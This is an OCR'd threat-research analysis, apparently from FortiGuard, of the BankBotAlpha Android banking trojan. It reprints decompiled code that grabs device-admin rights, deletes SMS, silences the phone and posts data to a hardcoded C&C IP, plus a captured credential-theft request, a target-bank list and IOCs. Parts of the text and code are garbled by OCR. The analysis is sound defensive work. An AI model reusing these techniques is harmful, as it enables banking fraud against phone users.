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For us at FortiGuard, it always sounds like a bad idea for people to share malware source code,

‘
A‘H
R‘J.

even if it is for academic or educational purposes. For example, on GitHub we can currently find more than 300

distinct repositories of ransomware, which gives you some idea about the attention that this form of malware receives.

Although ransomware has the highest profile in the threat landscape at the moment, that does not mean that other
threats have disappeared. Android is the most wide spread OS on mobile devices, covering around 80% of the market.

So it does not surprise us that mobile malware is also on the rise, even if it isn’t getting the same attention.

Over the last few weeks, one specific banking malware targeted at the Android platform, known as BankBot, has been
spreading significantly, even on a controlled and secured platform like Google Play. After some digging, we found out
that this malware was developed on top on an existing malware that first surfaced in December 2016, which we call
BankBotAlpha.

First appearance

BankBotAlpha was specifically designed for Android. It was first advertised back on December 19, 2016 on a Russian

forum as a new initiative to build an Android banker from scratch, more or less like a DIY tutorial.

As the entire code of the Android application, as well as the complete C&C panel in PHP, is currently online and
available for anyone to download, it did not take long for multiple variants to appear in the wild. In fact, the same thing
happened when the source code of GMBot was leaked last year in February. Just like with Ransomware, there are

always repercussions when malware code is shared publicly.
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CeroOHA PaccMOTPMM HamucaHMg android BoTa ¢ HYHNf, 4YTO OH Yy Hac OYOeT OENaTh:

- sSampamMBaTbh afgMMH Npacsa

- ZAIpalMBATE PASpeNeHMA LA OTHPaBXyM CMC (android 6.0 u Beme)

- OTmpamjATe CMC

- UuxTaTh CMC

- YmamsaTe BXogamue CMC, miIymMTb 3ByK M BMOpauup (ygoaieHue paboTaeT mo 4.4, Ho OuBaeT pafoTaseT M BhIE, SaBMCUT OT MOASHM YCTPOWCTSa,
SaryIymlXa SByka M BMOpauuu paboTaeT Ha BCeX) .

- Bef uuRexTH (Do €.0)

B agmuHXe OymeT oToSpaxaTbCHa:

- IMEI/ID

- Homep

— Bepcua OC

- Bepcua APK

— CTpaHa (BHOeNcHa @IaToOM)

- BaHk (KOTOPH (i1, &) YCTaHOBIEH (u))

- Mogems ycTpolicTBa

- Hamuume ROOT (agMmE Npas)

- COCTOAHME SKpaHa

- B ceTu GOT MiM HeT (3SJIEHHI B CETHM, REJTHII HE B CESTHM, YEPHHI HE B ceTu Oojiee 2-X OHEN
- IaTa sapaXeHuA

- a Tax ®e, OToOpamacT HalM4YMA MHREKTa, BX CMC OT OaHKa M KHOMKAa JOT (MHAMBMAYANbHHIL)

Ham noTpefyeTca An d Studio, =HaHMA A3HKA java, PHP i mysqgl - UIA aOMMHEKHY
O0paTHTEe BHMMAaHKMe, B KoOe Conee NOOpofHO OMMCAHO KOMMeHTAapiAMu!
M Tax , He OYOEM JMTbH BOAY M HaYHEM NMCATH!

CosgaemM 4YMCTEDT NpoeKT (ACctivity), CROMIMIIMpOBAEEHDT apk iMeer Bec 34x0, NOATOTOBMI WACOH IposKTAa

Figure 1: Russian version of the post advertising the new Android banker

Today, consider writing android bot from scratch, what it will do for us

- to reguest the admin rights

- request permission to send SMS (android 6.0 and above

- Send SMsS

- Read SMs

- Remove incoming SMS, muffle sound and wvibration (removal works up to 4.4, but it sometimes works higher, depending on the device
model, sound and vibration plug works at all).

- Web injections (up to 6.0)

In the admin panel will be displayed:

- IMEI / ID

— Room

- 0S5 Version

- BPK version

- Country (flagged

- Bank (which (d, ) is set (s)

- Device model

- The presence of ROOT (admin rights

- Status of the screen

- In the bot network or not (green on the network, vellow is not online, black is not online for more than 2 days)
- Date of infection

- and also, it displays the presence of inject, sms sms from the bank and the log button (individual)

We need Android Studio , knowledge of java , PHP and mysgl - for the admin area
Please note, the code is de ibed in m detail in the comments
&nd so, let's not pour water and start iting!

We create a pure project (&Activity), compiled apk has a weight of 34kb, prepared a project template

Figure 2: English translation of the post advertising the new Android banker

As stated above, this post was shared in mid-December of last year. It was posted by a user named “maza-in,” who

seems to have joined that forum in June 2013. He claims to be a skilled coder with more than 10 years of experience in
the field.
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maza-in )

Ham HY®EeH MHp, MenaTenbHo
BECh

Mpynna: MonezoBaTens
Coobwenuwia: 308
PerwcrpauwA: 25.06.2016
onezoBEaTens MNP 70 242
JeATeneHOCTE! KOgHHED

PemyTauuA: 147
[ 16% - xopowo )

Figure 3: maza-in profile from the forum

Figure 4: maza-in signature from the C&C panel

In spite of the claim that it was shared as a “tutorial,” and very well received by the community of that forum, we can
definitely say that this malware was shared for malicious intent, in part because the antivirus cross-scanning result was

also provided, and continues to be updated quite often within the thread.
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Tip: hover over an Antivirus to see its version at the time of the scan

(##, A-Squared: Clean

e Ad-Aware: Clean

_a.q": Avast: Clean

. AVG Free: Clean

E Awira: Clean

‘ BitDefender: Clean

E BullGuard: Clean

@j Clam Antivirus: Clean

G Comaodo Internet Security: Clean

@ Dr.Web: Clean

@ ESET NOD32: Clean

g eTrust-Vet: Clean

@ F-PROT Antivirus: Clean

“‘:' F-Secure Internet Security: Clean
"Ei FortiClient: Clean

U G Data: Clean

a IKARUS Security: Clean

|q' K7 Ultimate: Clean

K Kaspersky Antivirus: HEUR
m McAfee: Clean

sl
' MS Security Essentials: Clean

£ MANO Antivirus: Clean

mANE

m Morman: Clean

G Morton Antivirus: Clean

b Panda CommandLine: Clean
rada

U Panda Security: Clean

parda

Ej Quick Heal Antivirus: Clean
@ Solo Antivirus: Clean

@ Sophos: Clean

@ SUPERANtiSpyware: Clean

@ Trend Micro Internet Security: Clean
Q Twister Antivirus: Clean

f/ T -
E'J VBA32 Antivirus: Clean

€ VIPRE: Clean

u Zoner AntiVirus: Clean

Figure 5: Antivirus detection at the time BankBotAlpha was released

Variants proliferate quickly

The first version that hit our radars was detected on December 26, 2016. Other variants followed quickly, ultimately

hitting Virus Total as of January 5, 2017. Currently, we have detected 141 variants under the internal package name

“com.example.livemusay.myapplication”. For the end user, it will appear in different forms, often impersonating well-

known application icons or names, as shown in Table 1, below.

MMS Flash Player 11
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f Adoby Flash Player (yes with a ‘y’)

5 Play Market Update

Game Launcher

_ My Application

Kate Mobile

Table 1: Some of the BankBotAlpha faces
Analysis

Once unzipped, the application is comprised of two packages: the first is the standard android.support package, while

the second, and most interesting, is called “com.example.livemusay.myapplication”. This is where the real malicious

code lies.

In this article, we are going to analyze the sample

“fded59978a3f6ab2f3909d7c22f31dd001f54f6c1cafd389be9892f41b4a5976”.
Functionalities

We encountered this malware under a number of different aliases, but the most frequent one was “MMS Flash Player

11.” However, the permissions required by the APK are very suspicious for an application with such a name.
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fuses-sdk android:minsdkVersion="9" android:targetSdkVersion="24" />
{uses-permission android:name="android.permission.INTERNET" />
{uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED™ />
{uses-permission android:name="android.permission.RECEIVE_SMS" />
{uses-permission android:name="android.permission.QUICKBOOT_POWERON" [3»
{uses-permission android:name="android.permission.READ_SM5" />
{uses-permission android:name="android.permission.READ_PHOME_STATE™ />
{uses-permission android:name="android.permission.WAKE_LOCK"™ />
{uses-permission android:name="android.permission.SEND_SM5" />
{uses-permission android:name="android.permission.WRITE_SMS" />
{uses-permission android:name="android.permission.GET_TASKS"™ />
{uses-permission android:name="android.permission.CALL_PHOME"™ />

Figure 6: Permissions required by BankBotAlpha

=8 com.example.livemusay.myapplication
i fﬂ AlarM. dass

fu__,} DAdm.dass

Jul__,‘.; MainActivity. dass
ﬂﬂ} Press.class

@o StartBoot.dass

Jul__,‘.; StartWhile. dass

ﬂﬁ a.class

ﬂi} b.class

E'P c.class

ﬂi} d.class

f@o delSoundsWs. dass
ﬂi} gOus_sD.dass

ﬂﬂ goR.00t.class

ﬂ;} injectionActivity, dass
~ﬂ£} injectionService. dass

Figure 7: Classes of BankBotAlpha

The first time it is run, the application asks the user to grant it device admin privileges.

protected void onCreate(Bundle paramBundle)
fi
super.onCreate(paramBundle);
setContentView(2138968581);
this.a = new a(this);
if (!this.a.al))
{
paramBundle = new Intent("android.app.action.ADD_DEVICE_ADMIN");
paramBundle.putExtra("android.app.extra.DEVICE_ADMIN", this.a.b());
paramBundle.putExtra("android.app.extra.ADD_EXPLANATION", "For correct operation of the program, you must confirm administrator rights");
startActivityForResult(paramBundle, 18@);
Finish(};
¥
finish();

Figure 8: Request for DevAdmin rights
After this action, the app hides itself from the main menu, and starts acting in the shadows.

The malware sets up a broadcast receiver for SMS in order to handle received messages and extract the information

needed from them. Moreover, it is cautious enough to delete SMS from both the “inbox” and “sent” folders.
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Object localObject = Uri.parse{"content://sms/sent");
localObject = paramContext.getContentResolver().query((Uri)localObject, new String[] { “"_id", "threa
if {{localObject != null) && (((Cursor)localObject).moveToFirst()})})
{
boolean bool;
do
£
long 1 = ((Cursor)local®bject).getlong(@);
{{Cursor)}localObject).getlong(l);
String str = ((Cursor)localObject).getstring(2);
if {{!param5tringl.equals(((Cursor)localObject).get5tring(5))) && (str.equals(paramStringZ))) {
paramCaontext.getContentResolver().delete(Uri.parse( "content://sms/" + 1), null, null);

¥

Figure 9: Parse and Delete sent SMS

Another precaution that the author of the malware took was making sure that the vibration and sound alarm for the
phone is set to 0, which stands for RINGER_MODE_SILENT. This option is used both when communicating via SMS

and when using calls to communicate using USSD codes.

startActivity(new Intent("android.intent.action.CALL").setData(Uri.parse("tel:" + paramBundle))});
paramBundle = this.c;
StringBuilder localStringBuilder = new StringBuilder();
this.a.getClass();
paramBundle.a("http://45.77.41.26" + "/private/add_log.php", "p=" + this.b.a(new StringBuilder().append(this.b.a(tl
Dé(;‘-\udinff’.anager)getSystemSer‘vice( "audio")).setRingerMode(@);
inish({);

Figure 10: Set the phone to Silent mode

The malware also has the capability of sending SMS, and uses this feature to communicate information about the
corrupted device back to its CC. The malware collects information like IMEI, Bank applications present on the device,

OS version, presence of root, etc.

public String a(finmal Context context) {
final TelephonyManager telephonyManager = (TelephonyManager)context.getSystemService("phone™);
string s;
if (BuildSVERSION.SDK_INT <[23] {
= = telephonyManager.getDeviceId();

H
else if ((s = Settings$Secure.getString(context.getContentResolver(), "android_id")} == "") {
return "35" + Build.BOARD.length() % 18 + Build.BRAND.length() % 1@ +

Build.CPU_ABI.length() % 18 + Build.DEVICE.length() % 1@ +
Build.DISPLAY.length() % 18 + Build.HOST.length() % 18 +
Build.ID.length() % 18 + Build.MANUFACTURER.length() % 1@ +
Build.MODEL.length() % 1@ + Build.PRODUCT.length() % 1@ +
Build.TAGS.length() % 18 + Build.TYPE.length() % 1@ + Build.USER.length() % 1@;

3

return s;

Figure 11: retrieval of the IMEI

All the data collected, both about the device and about the banking apps on it, are sent to the CC. It can be relatively
hard to find information about it, as culprits try to hide it (at least from a static point of view), so it is usually necessary
to analyze the traffic generated by the application. Fortunately, the author of BankBotAlpha was kind enough to leave

the information needed, graciously formatted in the class b.
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package com.example.livemusay.myapplication;

public class b
e{

public fimal String a "http://f45.77.41.26"; CC
public final String b = "gwe"; Crypto Key for POST
public final 5tring c "Demo” ; Version Name

H

Figure 12: networking Constants

The CC address is not the only hardcoded constant in the apk. While some other banking malware we have seen prefer
to download the list of targeted banking applications from the CC to possibly avoid static analysis, BankBotAlpha
hardcodes the list in its StartWhile class. Here is a screenshot, but you can also find the complete list at the end of this

article.

Object localObject2;
if ({(Iterator)localObjectl).hasMext())
i
localObject?2 = (ApplicationInfo){(Iterator)local®bjectl).next();
E} if ({(ApplicationInfo)localObject?).packageName.equals("ru.sberbankmobile")) {

j=1;

¥

if ({(ApplicationInfo)locallObject?).packageName.equals("ru.sberbank sbbol™)) {
i=1;

X

if ({(ApplicationInfo)localObject?).packageName.equals("ru.alfabank.mobile.android")) {
k=1;

¥

if (((ApplicationInfo)localObject?).packageName.equals(“ru.alfabank.ocavdo.amc™)) {
k=1;

¥

if (((ApplicationInfo)localObject?).packageName.equals("ru.ms")) {
i5 = 1;

H

if ({(ApplicationInfo)localldbject?).packageName.equals(“ru.raiffeisennews")) {
i8 = 1;

H

if ({(ApplicationInfo)localObject?).packageName.equals("com.idamob.tinkoff.android")) {
i11 = 1;

=

Figure 13: Target Banking apps

Practical test

In order to test the malware, we decided to run one of the applications listed as targets. Our choice was the APK with
package name “ua.privatbank.ap24”, which is the official application for PrivatBank, the largest commercial bank in

Ukraine.
The source code comes out of the box with only two phishing templates.

The first is for PrivatBank (located on the CC at /inj/privatbank.php).
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2 LR 409 AM

1234567890

Myusername

Mypassword

BOUTU
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Figure 14: PrivatBank phishing page

The second is Visa QIWI Wallet, an e-wallet based on a Visa Prepaid Account, with over 11 million consumer accounts

around the world. It was first established in Russia in April 2008.

VISA

QIWI WALLET

BoWATH B MOW KOLWeanes

Figure 15: VIsa QIWI Wallet (/inj/ru.mw.php) phishing page

Once the app is run, the malware takes control and becomes the main activity in the user’s screen, showing a phishing
page like the one above, designed to look like the bank’s original page. The differences are not extremely hard to spot,
but someone not being careful could be fooled. Once the user inputs their credentials, they are sent to the CC, where

they are saved on a database.

The network capture shown in Figure 16 is related to sample
“14a9da2c16c4714ebb5647ec5bd23a1de361b779d80f5e5f5350ea9b128f3c40”, as the CC for the original sample

analyzed had been taken down at the time this article was written.

We then attempted to run other applications in the target list, but without much success. As stated previously, only two
of them were working in our test cases (“ua.privatbank.ap24” and “ru.mw”). For the other cases, the malware simply
records the fact that these banking apps are installed on the device and then sends the bank identifier information via

SMS (look in annex, below, for the complete identifier list).

This is in line with the fact that the author shared this malware as some kind of tutorial. It includes two working
injections, possibly presented as examples. However, it is just a matter of creating the right phishing pages for the other
apps to be injectable (as has been done for the dozens of successive BankBot versions that can now be found in the

wild.) The injection claims to work in versions up to Android 6.0 (Marshmallow).

The credentials are leaked using a standard HTTP POST request directly to the CC PHP script, located at
/private/add_inj.php

Page 10 of 27



https://www.fortinet.com /blog/threat-research/bankbot-the-prequel.ntmil

POST /private/add_inj.php?p=5wi¥2053%205q%205q%205e%205wh2048%2054%2048%205wk2056%2050%2048%2085q
K2053%2037X2055%2067%2037H2068%2048K203TH205T%2a7g
%2037%2068%2049%2037%2056%2048%2037H2068%2048%2037%2066%2056%203Th2068%2048%203THh2066%205q
K2037%2068%2048%2037%2066%2048%203TH2068%2049%2037%2056%205q%2050%205e%2037%2055%2067 HTTP/1.1

Host: servot.myjino.ru

Connection: keep-alive

Content-lLength: 81

Cache-Control: max-age=0@

Origin: http://servot.myjino.ru

Upgrade-Insecure-Requests: 1

User-Agent: Mozillas5.0 (Linux; Android 5.6; K@Y Build/LRX21V; wv) AppleWebKit/537.36 (KHTML, like Gecko)
Version/4.0 Chrome/56.0.2924.87 Safari/537.36

Content-Type: application/x-www-form-urlencoded

Accept: text/html, application/xhtml+xml,application/xml;q=0.9, image/webp,*/*;q=0.8

Referer: http://servot.myjino.ru/inj/privatbank.php?p=5wk2053%2050%2050%205e%205Wh2048%2054%2048%205W
#2056%2050%2048%2050%2053

Accept-Encoding: gzip, deflate

Accept-Language: en-US

X-Requested-With: com.example.livemusay.myapplication

privat24_1ngin:%28123456?89@&privat24_passwnrd:Myusername&privat24_pin:MypasswnrdHtTP!l.1 200 0K

! o e L T
Content-Type: text/html; charset=UTF-8
Content-Length: 53
Connection: keep-alive
Server: Jino.ru/mod_pizza
Vary: Accept-Encoding
Content-Encoding: gzip

Figure 16: Network Capture of the stolen credentials
The botherder also has an option for a global view of the bots through an online panel, shown below.

Each entry refers to an infected device, and has a status of either online, offline, or kill (most probably for cleaned
devices.) The malicious apps send heartbeats every few seconds to update their status, allowing the panel to have a

semi real-time and accurate view of the entire botnet.
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This view not only provides details of the phones (OS version, model, IMEI), but also the operator (brand, country), as
well as some operational information like accessing debug logs, date of infection, privilege access on the device, and

stolen bank identifier.
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The control panel is not only used to monitor the botnet, but can also be used to run some commands directly on the

bots. According to the CC, there are currently four possible actions:

e Request root rights
e Send SMS
e USSD Request

e Request permission to read/send SMS (Android 6.0 or more)

We estimate that there are currently about 1000 infected devices, based on the number of CCs we found, and the
average number of bot pages we saw on each CC. Most of these devices are located in Russia, but some are located in
the US and China.

BankBot Alpha Vs BankBot

From our analysis of both BankBotAlpha and BankBot, it is very clear that the latter is a derivation of the former. The
strings found in the samples are identical, the commands issued by the CC to the bot are the same, and even the typos
and grammar errors made in the code are consistent. Many samples of BankBot even share part of the package name
with BankBotAlpha (com.example.livemusay.*****)

However, BankBot packs more features than the alpha version, with AV detection, a higher number of banking apps

controlled, messaging applications monitored, sometimes even obfuscation.

These added functionalities are relatively easy to implement, and make it much easier to create a threatening banking

malware.

Conclusion

The alpha application we analyzed here is not an extremely polished malware. However, it is a functioning and easy-
to-improve starting point for people who want to create something actually dangerous. Its descendant, BankBot, has

proven itself to be a real threat, and has even been found in the official Google Play Store.

So, be careful out there when you are installing applications on your device, even if they are from trusted application

marketplaces, and always check the permissions required.

Fortinet detects this malware as “Android/Bankbot. AA!tr”.

FortiGuard Labs will follow up on this and keep you updated on this android banking malware.
-= FortiGuard Lion Team =-

ANNEX

File listing from the CC HTTP Root

| .htaccess
| header.php
| index.php
|

+---images
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| header.jpg
| iconl.png

| icon3.png

+---country

ad.png

bank_off.png
bank_on.png
boton-verde-oscuro-hi.png
fe.png
inj_off.png
inj_on.png
kill.png
log-512.png
log_off.png
log_on.png
offline.png
online.png
se.png
setting.png
se_.png
V.png

X.png

| privatbank.php

| ru.mw.php

+---privatebank

1.png
2.png
3.png
4.png
bg.png
index.html
main.js

style.css

https://www.fortinet.com /blog/threat-research/bankbot-the-prequel.ntmil
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custom.js
footable.js
footable.min.js

jquery-1.10.2.js

I

I

I

I

| jquery-1.10.2.min.js
| jquery-2.1.4.min.js

| jquery.js

| jquery.spincrement.js
I

+---private

add_inj.php
add_log.php
commands.php

command_go_modul.php

crypt.php
kliets.php
set_data.php

I

|

|

I

| config.php
|

|

I

| tuk_tuk.php
|

index.css

login.css

modul_form_log.css

I

I

I

| modul_form.css
I

| modul_form_set.css
I

style.css
BankBotAlpha includes a static, embedded list of applications to target, as you can see in the Table 2, below. Most of

them target Russian speakers.

Package Name Identifier

ru.sberbankmobile,
|SberB_RU|
ru.sberbank_sbbol

ru.alfabank.oavdo.amc, ru.alfabank.mobile.android |AlfaB_RU]|
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ru.mw

ru.raiffeisennews

com.idamob.tinkoff.android

com.paypal.android.p2pmobile

com.webmoney.my

ru.rosbank.android

ru.vtb24.mobilebanking.android

ru.simpls.mbrd.ui

ru.yandex.money

ru.vtb24.mobilebanking.android

ru.simpls.mbrd.ui

ru.yandex.money

https://www.fortinet.com /blog/threat-research/bankbot-the-prequel.ntmil

ua.com.cs.ifobs.mobile.android.sbrf

ua.privatbank.ap24

ru.simpls.brs2.mobbank
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|QIWT|

|R-CONNECT]|

| Tinkoff]|

[paypal|

[webmoney|

|RosBank|

IMTS BANK|

[VTB24|

|Yandex Bank|

IMTS BANK|

[VTB24|

|Yandex Bank|

|SberB_UA|

[Privat24|

|RussStandart|
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com.ubanksu

com.alseda.ideabank

pl.pkobp.iko

com.bank.sms

ua.com.cs.ifobs.mobile.android.otp

ua.vtb.client.android

ua.oschadbank.online

com.trinetix.platinum

hr.asseco.android.jimba.mUCI.ua

ua.pentegy.avalbank.production

com.ukrgazbank.UGBCardM

com.coformatique.starmobile.android

Table 2: Targeted Android banking applications
I0C

CC domain list:

45.77.41.26

104.238.176.73

000001.mcdir.ru
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|[UBank|

|Idea_Bank|

|Tko_Bank|

|Bank_SMS|

|OTP SMART]|

[VTB_ua|

|OschadBank]|

[PlatinumBank|

|UniCreditBank]|

|aval_bank_ua|

|[UKRGASBANK|

|[UKRSIBBANK|



111111111.mcdir.ru
12321a.mcdir.ru
217.23.12.146
22222 mcdir.ru
321123.mcdir.ru
a193698.mcdir.ru
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